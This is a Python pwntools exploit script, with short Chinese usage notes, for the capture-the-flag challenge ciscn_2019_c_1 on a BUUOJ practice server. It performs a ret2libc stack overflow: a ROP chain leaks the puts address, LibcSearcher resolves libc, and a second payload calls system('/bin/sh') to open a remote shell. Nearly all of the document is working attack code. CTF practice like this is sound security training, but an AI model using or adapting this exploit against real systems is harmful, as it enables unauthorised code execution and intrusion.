from pwn import *
from LibcSearcher import *
context.os='linux'
context.arch='amd64'
# context.log_level='debug'
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sla=lambda x,y:io.sendlineafter(x,y)
io=remote('node4.buuoj.cn',27181)
elf=ELF('./ciscn_2019_c_1')
ret=0x4006b9
pop_rdi=0x400c83
main=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
sla('choice!\n','1')
payload=b'a'*(0x50+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
sla('encrypted\n',payload)
io.recvuntil("Ciphertext\n")
io.recvuntil("\n")
puts=u64(io.recvuntil('\n',drop=True).ljust(8,b'\x00'))
print(hex(puts),type(puts))
libc=LibcSearcher('puts',puts)
print(libc)
libc_addr=puts-libc.dump('puts')
binsh=libc_addr+libc.dump('str_bin_sh')
system=libc_addr+libc.dump('system')
sla('choice!\n','1')
payload=b'a'*(0x50+8)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
sla('encrypted\n',payload)
io.interactive()
抄的别人的脚本,只做了简单修改,在ubuntu18虚拟机,python3环境正常运行(win10报警,No matched libc, please add more libc or try others;python2运行报警,The address should be an int number,貌似因为puts=u64(io.recvuntil('\n',drop=True).ljust(8,b'\x00')),puts的类型为long,而下一句的libc=LibcSearcher('puts',puts),需要puts为int类型。用python3运行可解决此问题。)
期间会询问libc版本,选0号
libcsearcher这个东西好几个版本,调起来真费劲,请使用pip install libcsearcher ,目前为1.1.5